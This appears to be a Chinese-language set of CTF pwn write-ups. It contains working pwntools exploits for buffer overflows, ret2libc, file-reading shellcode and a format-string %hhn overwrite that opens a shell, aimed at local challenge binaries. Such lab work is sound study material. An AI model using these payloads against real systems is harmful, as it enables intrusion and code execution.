Moectf-Pwn

from pwn import *
context(os="linux", arch="amd64", log_level="debug") 

io = remote("127.0.0.1",63667) 

io.recvuntil(b"Hello,my friend.Please enter the password to begin") 

io.sendline(b"2147483647")

io.sendafter(b"Input your answer:", b"Welcometomoectf2026pwn\n") 

io.interactive()

from pwn import * 
context(os = 'linux',arch = 'amd64')
# r = process('./pwn')
r  = remote('127.0.0.1',42519)
r.sendafter(b'So how many do you want to give?', b'10000\n')
offset = 0x40+0x8
vuln = 0x0401209
ret = 0x401231
payload = b'A'*offset + p64(ret) +p64(0x0401209)
r.sendline(payload)
r.interactive()

from pwn import *
context(os = 'linux',arch = 'amd64')
# r = process('./pwn')
r = remote('127.0.0.1',26383)
libc = ELF('./libc.so.6')
elf = ELF('./pwn')

r.sendafter(b'Your answer:' , b'puts\n')
r.recvuntil(b"This function seems to be unsafe,right? ")

puts_addr = int(r.recvline().strip(),16)
print("puts addr -> ",hex(puts_addr))

libc.address= puts_addr - libc.symbols['puts']
pop_rdi = 0x04013d3
offset 	= 0x40+0x8
system 	= libc.symbols['system']
bin_sh 	= next(libc.search(b'/bin/sh\x00'))
ret 	= 0x040122D
payload = b'a'*offset + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system)
r.send(payload)
r.interactive()

就回 flag）

openat(...)  →  read(fd, buf, n)  →  write(1, buf, n)
   开文件         把内容读到内存        打到 stdout

你发给 chall 的总数据（52 字节）：

┌──────────┬─────────────────┬──────────────────┐
│ 长度(4B)  │ shellcode(40B)  │ 路径(8B)         │
│ p32(40)  │ 你的 shellcode  │ /flag\0\0\0      │
└──────────┴─────────────────┴──────────────────┘
                ↑                  ↑
                程序 read 走这 40B  这 8B 还在 stdin
                                    shellcode 里 read(0,...) 抓它

void shellcode() {
    char *path = rbx + 0x40;          // flag路径放在 shellcode 之后，避免被覆盖

    read(0, path, 8);                 // 1. 从 stdin 抓 "/flag\0\0\0"
    int fd = openat(AT_FDCWD, path, 0);   // 2. 开文件
    read(fd, path, 0x60);             // 3. 读 flag 内容到 path
    write(1, path, 0x60);             // 4. 打到 stdout
}

xor rax,rax
push 8
pop rdx
lea rsi,[rbx+0x40]
syscall

; ============ Step 1: read(0, rbx+0x40, 8) ============
; 从 stdin 抓 "/flag\0\0\0"
xor eax, eax           ; rax = 0（syscall 号 = read）
push rax
pop rdi                ; rdi = 0（stdin）
push 8
pop rdx                ; rdx = 8（读 8 字节）
lea rsi, [rbx+0x40]    ; rsi = rbx+0x40（shellcode 后 64B 处）
syscall

; ============ Step 2: openat(AT_FDCWD, rbx+0x40, 0) ============
; rax 现在 = 8（step 1 返回字节数）
shl eax, 5             ; rax = 8 << 5 = 256
inc eax                ; rax = 257（openat 的 syscall 号）
push -100              ; -100 = AT_FDCWD（push imm8，符号扩展）
pop rdi                ; rdi = AT_FDCWD
xor edx, edx           ; rdx = 0（O_RDONLY）
syscall

; ============ Step 3: read(fd, rbx+0x40, 0x60) ============
mov edi, eax           ; rdi = fd（openat 返回值）
xor eax, eax           ; rax = 0（read 的 syscall 号）
mov dl, 0x60           ; rdx = 0x60（一次读 96B 够用）
syscall

; ============ Step 4: write(1, rbx+0x40, 0x60) ============
; rax 现在 = step 3 读到的字节数（≤ 0x60），高字节是 0
mov al, 1              ; rax = 1（write 的 syscall 号）
push 1
pop rdi                ; rdi = 1（stdout）
syscall

from pwn import *
context(os= 'linux', arch='amd64', log_level='debug')
# r = process('./radio_relay')
r = remote('127.0.0.1',40943)
TARGET = 0x40182a   # repair_complete

payload = b'A'*32                 
payload += b'\x00'  #strlen检测\x00                
payload += b'a' *31                 
payload += p64(TARGET) #覆盖数据到v8字符串指针

r.send(b'\x48')
print(f'payload 长度 = {len(payload)} (期望 72)')
print(f'hex = {payload.hex()}')
r.send(payload)
r.interactive()

我们的主机
┌──────────────┐
│ pwntools     │
│ remote(host, │
│ port)        │
└──────┬───────┘
       │
       │ TCP
       ▼
┌────────────────────┐
│ CTF 服务器          │
│                    │
│ listening socket   │
│       ↓            │
│   accept()         │
│       ↓            │
│ connected socket   │
│       ↓            │
│ PWN 目标进程        │
└────────────────────┘

listen_fd = socket(...);
bind(..., 端口);
listen(listen_fd, ...);

conn_fd = accept(listen_fd, ...);

dup2(conn_fd, 0);
dup2(conn_fd, 1);
dup2(conn_fd, 2);

fd 0 ──┐
fd 1 ──┼──→ connected socket ──→ TCP ──→ 你的 pwntools
fd 2 ──┘

write(1, "hello", 5);

程序
 ↓
fd 1
 ↓
socket
 ↓
TCP
 ↓
pwntools

p.send(b"AAAA")

pwntools
 ↓
TCP
 ↓
socket
 ↓
fd 0
 ↓
read(0, ...)

你的 pwntools  ←────────→  socket
                              ↑
                              │
                         fd 0/1/2
                              │
                              ↓
                         PWN 进程

fd 0 → 标准输入
fd 1 → 标准输出
fd 2 → 标准错误

fd 0 ──→ terminal
fd 1 ──→ terminal
fd 2 ──→ terminal

fd 0 = 天生的 stdin
fd 1 = 天生的 stdout

进程启动时
    ↓
操作系统/父进程提供
    ↓
fd 0 → stdin
fd 1 → stdout
fd 2 → stderr

int fd = open("test.txt", O_RDONLY);

fd = 3

0 → stdin
1 → stdout
2 → stderr
3 → test.txt

dup2(3, 0);

0 → test.txt
1 → stdout
2 → stderr
3 → test.txt

read(0, buf, 100);

              进程
               │
        ┌──────┴──────┐
        ↓             ↓
    fd table       用户代码
        │
        ├── 0 ──→ terminal   ← stdin
        ├── 1 ──→ terminal   ← stdout
        ├── 2 ──→ terminal   ← stderr
        └── 3 ──→ file

./program < input.txt > output.txt

程序启动
   ↓
继承父进程提供的 fd
   ↓
通常：
0 → stdin
1 → stdout
2 → stderr
   ↓
程序运行过程中
   ↓
open / socket / pipe / dup2 / close ...
   ↓
通过系统调用请求内核改变 fd 状态

# read(1,page,size) rdi -> 1,rsi -> page,rdx -> long_size
xchg rax,rsi
xchg eax,ebx
xchg edi,edx
syscall
# rax = 0

from pwn import *
context(os = 'linux',arch = 'adm64')
r = remote('127.0.0.1',XXXX)
payload = asm("""
	xchg rax,rsi
	xchg eax,ebx
	xchg edi,edx
	syscall
			 """)

openat -> read -> write

# read(1,page+0x80,0x8)
从socat 1中抓/flag\0\0\0
xor eax,eax
push 8
pop rdx
lea rsi,[rsi+0x80]
syscall

# openat(AT_FDCWD,/flag,O_RDONLY) rsi -> 0x80
shl eax,5
inc eax
push -100
pop rdi
xor edx,edx
syscall

# read(3,page+0x80,0x100)
mov edi,eax
xor eax,eax
mov dl,0x60
syscall

# write(1,page+0x80,0x100)
mov al,1
push 1
pop rdi
syscall

main()
 ├── init()
 ├── 打印欢迎语 + 三道 gate 提示
 ├── gate1()              ← 返回 time(NULL)
 ├── gate2(gate1_ret)     ← 返回 lcg(0x1bf52 迭代) 结果
 ├── gate3(gate2_ret)
 └── b4ckdo0r()           ← system("/bin/sh")

int gate1() {
    unsigned int t = time(NULL);
    srand(t);
    unsigned int x = rand();
    printf("Password:");
    scanf("%u", &ans);
    if (ans != x) { puts("You can't predict the time easily!"); exit(0); }
    puts("You've beaten the time and become a stronger self!");
    return t;
}

int gate2(unsigned int t) {
    unsigned int state = t;
    for (int i = 0; i <= 0x1bf51; i++)        // 114514 次
        state = lcg(state);                   // (state * 0x41c64e6d + 0x3039) & 0x7fffffff
    printf("Password:");
    scanf("%u", &ans);
    if (ans != state) { puts("Well, it seems you don't know..."); exit(0); }
    puts("Good job! That's one of the ways how random number works.");
    return state;
}

int gate3(unsigned int seed) {
    srand(seed);
    unsigned r1 = rand(), r2 = rand(), r3 = rand();
    printf("First random number:%u\n", r1);
    printf("Second random number:%u\n", r2);
    printf("Your answer:");
    scanf("%u", &ans);
    if (ans != r3) { puts("Haha...It's random, how can you predict it?"); exit(0); }
    puts("Wow, random number is in fact not random,right?");
    return r3;
}

void b4ckdo0r() {
    puts("Genius!");
    puts("You defeated all random gates! Here is your bonus:");
    system("/bin/sh");
}

# include <stdio.h>
# include <stdlib.h>
# include <stdint.h>
# include <time.h>

uint32_t lcg_step(uint32_t s) {
    return (s * 0x41c64e6du + 0x3039u) & 0x7fffffff;
}

int main(int argc, char **argv) {
    int off = atoi(argv[1]);
    uint32_t t = (uint32_t)time(NULL) + off;

    srand(t);
    uint32_t g1 = rand();

    uint32_t s = t & 0x7fffffff;
    for (int i = 0; i <= 0x1bf51; i++) s = lcg_step(s);
    uint32_t g2 = s;

    srand(g2);
    rand(); rand(); uint32_t g3 = rand();

    printf("%u %u %u\n", g1, g2, g3);
    return 0;
}

gcc /tmp/helper.c -o /tmp/helper_keep

$ file million-pound
million-pound: ELF 64-bit LSB executable, x86-64, dynamically linked,
                interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0,
                not stripped

$ checksec --file=./million-pound
Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)

== million pound ==
I want one fine million-pound cheque,
one brand-new million-pound cheque,
...
How many should I prepare? What would you like written, sir? [输入数字]
[输入内容]
Very good, sir.

number (unsigned long, 8 字节)
    │
    ├─→ v5 = number * 8（取低字节 al）──→ cheque 检查：v5 ≤ 0x60 ?
    │                                       ↑ 只看 1 字节
    └─→ read_exact(fd, buf, number * 8) ──→ 实际读完整 64 位大小
                                              ↑ 用 8 字节

number=12:  number*8 = 96  = 0x060   al=0x60  ≤0x60 ✓   实际读 96 字节  ✗ 不够
number=13:  number*8 = 104 = 0x068   al=0x68  >0x60 ✗   被踢
...
number=31:  number*8 = 248 = 0x0f8   al=0xf8  >0x60 ✗   被踢
number=32:  number*8 = 256 = 0x100   al=0x00  ≤0x60 ✓   实际读 256 字节 ✓ 够
number=44:  number*8 = 352 = 0x160   al=0x60  ≤0x60 ✓   实际读 352 字节 ✓ 够
number=45:  number*8 = 360 = 0x168   al=0x68  >0x60 ✗   被踢

rbp-0x70  ┌──────────────────┐
          │     buffer       │  112 字节（要溢出到这里）
          │     ...          │
rbp-0x09  ├──────────────────┤
          │   v5 (1 byte)    │
rbp-0x08  ├──────────────────┤
          │   number (8 byte)│
rbp       ├──────────────────┤
          │   saved rbp      │  8 字节
rbp+0x08  ├──────────────────┤
          │   return address │  8 字节 ← 我们覆盖这个
          └──────────────────┘

from pwn import *
context(os = 'linux',arch = 'amd64')
# r = process('./million-pound')
r = remote('127.0.0.1',17651)
r.recvuntil(b'How many should I prepare?')
r.sendline(b'44')
r.recvuntil(b'What would you like written, sir?')
offset = 0x70
ret = 0x040149A 
payload = b'a'*0x70+p64(ret)+p64(0x0401394)
payload  = payload.ljust(0x160, b'a')
time.sleep(0.2)
r.sendline(payload)
r.sendline(b'cat /flag* 2>/dev/null; cat flag* 2>/dev/null')
r.sendline(b'ls -la /')
r.sendline(b'id')
print(r.recvall(timeout=3).decode(errors='replace'))
r.interactive()

from pwn import *
context(os = 'linux',arch = 'amd64')
r = process('./printer_queue')
r.recvuntil(b'[printer] Send print queue data:')
r.send(p16(0x1))
r.interactive()

char user_input[100];
scanf("%99s", user_input);

// 【存在漏洞的写法】直接将用户输入作为格式化字符串
printf(user_input);

// 【安全的写法】显式指定格式化字符串，将用户输入作为普通数据参数
printf("%s", user_input);

程序启动
   │
   ├── initialise():  关闭三个流的缓冲 + alarm(60)定时炸弹
   ├── publish_hook = homepage_channel（指针初始化，仅此一次）
   ▼
┌─────────── 主循环 ───────────┐
│   打印菜单，读入数字 n         │
└─────────────────────────────┘             
   │                                         
   ├── n=1 提交标语                           
   │      读长度 L（限 1~0x1ff）              
   │      读 L 个字节存入 buf                 
   │      buf[L] = 结尾0                      
   │                                         
   ├── n=2 预览                               
   │      printf("preview: ")                
   │      printf(buf)      ← 漏洞在这         
   │      换行                                
   │                                         
   ├── n=3 上首页                             
   │      调用 publish_hook 指向的函数         
   │      （默认 puts "pushed to homepage"）
   │                                         
   ├── n=4 下班 → 程序退出                     
   │                                         
   └── 其他数字 → 打印"忽略该请求"

AAAA|%p|%p%|%p|%p|%p|%p%|%p|%p|%p|%p%|%p|%p|%p|%p%|%p|%p

from pwn import *
context(os = 'linux', arch = 'amd64')
r = process('./full-reduction')
r.recvuntil(b'> ')
r.sendline(b'1')
r.recvuntil(b'How long is this campaign line?')
r.sendline(b'60')
payload = b'AAAA|%p|%p%|%p|%p|%p|%p%|%p|%p|%p|%p%|%p|%p|%p|%p%|%p|%p'
payload = payload.ljust(60,b'\x00')
r.send(payload)
r.recvuntil(b'>')
r.sendline(b'2')

r.interactive()

objdump -d -M intel full-reduction > dis.text

publish_hook 现值 = PIE + 0x12d8   (homepage)
想改成            = PIE + 0x12f7   (director)
PIE 基址页对齐(低12位=000) → 两个地址高 7 字节完全相同, 只有最低字节不同:
                              0xd8 → 0xf7

%1$247c%12$hhn
第一条：%1$247c —— 把计数器泵到 247
%    1$     247    c
│    │      │      └ 转换类型：按"单个字符"打印
│    │      └ 宽度：输出不足 247 列就用空格垫满
│    └ 点名：用第 1 个参数当原料
└ 格式符开始

第二条：%12$hhn —— 把计数器写进目标地址
%    12$    hh    n
│    │      │     └ 特殊转换：不打印，反而把"当前计数器"写入参数指向的内存
│    │      └ 长度修饰：只写 1 个字节（hh=char；h=2字节；不写=4字节）
│    └ 点名：用第 12 个参数
└ 格式符开始

第 12 个参数 = 栈上从 printf 视角数的第 12 格 = buf+16 处那 8 字节——正是我们埋的 p64(publish_hook)。printf 拿它当地址执行：

*(unsigned char *)(publish_hook的地址) = 0xf7;   // 计数器的值, 1 字节

publish_hook 存的 8 字节值 0x00005555555552d8 按 x86-64 小端序摊在内存里，最低有效字节在最低地址：
地址:        80b0  80b1  80b2  80b3  80b4  80b5  80b6  80b7
内容:         d8    52    55    55    55    55    00    00
              ↑
        &publish_hook 指向这里 = 值的最低字节 = 0xd8
        
所以“变量的首字节”就是“数值的最低字节”——0xd8 正好坐在 %hhn 的弹着点上。这也是你 gdb 实拍看过的画面：改后逐字节是 f7 52 55 55 55 55 00 00，只有 80b0 一个格子变了。

如果把 %hhn 换成 %n（4 字节写），弹着点还是 0x…80b0，但一次砸进去 4 个字节 f7 00 00 00：
改前: d8 52 55 55 | 55 55 00 00   = 0x00005555555552d8
改后: f7 00 00 00 | 55 55 00 00   = 0x00005555_000000f7  ← 指针毁掉, call rax 即崩
    
    

连接程序 (process / remote)
   │
   ▼
━━ 第一阶段：偷看地址 ────────────────────────
   ├── 选 1 提交 "%9$p"（长度发 4）
   ├── 选 2 预览 → printf 把栈上第 9 格吐出来
   │      收到 0x…6670  (= PIE + 0x1670)
   └── 算账：PIE = 泄露值 − 0x1670
            publish_hook = PIE + 0x40b0
   │
   ▼
━━ 第二阶段：偷换字节 ────────────────────────
   ├── 组装 24 字节弹药：
   │      "%1$247c%12$hhn" + "AA" + p64(publish_hook)
   |
   ├── 选 1 提交（长度发 24）
   ├── 选 2 预览 → printf 干两件事：
   │      ① 打 247 个字符，计数器泵到 247
   │      ② %12$hhn 把 0xf7 写进 publish_hook 最低字节
   │
   │      内存变化（.bss 里那 8 字节）：
   │      …52 d8 62 ed c0 ee 55 00   ← homepage_channel
   │      …52 f7 62 ed c0 ee 55 00   ← director_channel ★只动了 1 字节
   └── 吃掉 247 字符的输出 + 菜单
   │
   ▼
━━ 第三阶段：收获 ────────────────────────────
   ├── 选 3 → call [publish_hook]
   │      此时指向 director_channel:
   │      chdir("/") → alarm(15) → execve("/bin/sh","-p")
   └── 成功时无任何输出，直接就是 shell
          敲 id / cat flag，15 秒内干完活

from pwn import *
context(os='linux',arch = 'amd64')
# r = process('./full-reduction')
r=remote('127.0.0.1',60704)
# gdb.attach(r)
r.recvuntil(b'> ')
r.sendline(b'1')
r.recvuntil(b'How long is this campaign line?')
r.sendline(b'4')
r.send(b'%9$p')

r.sendline(b'2')
r.recvuntil(b'preview: ')
leak = r.recvline().strip()
base = int(leak,16) - 0x1670
log.success(hex(base))
publish_hook = base + 0x40B0

r.sendline(b'1')
r.recvuntil(b'How long is this campaign line?')
r.sendline(b'300')
payload = b'%1$247c%12$hhn'+b'AA'+p64(publish_hook)
payload = payload.ljust(300,b'\x00')
r.send(payload)

r.sendline(b'2')
r.recvuntil(b'4. done? clock out\n> ')  
r.sendline(b'3')
r.sendline(b'cat /flag')
r.interactive()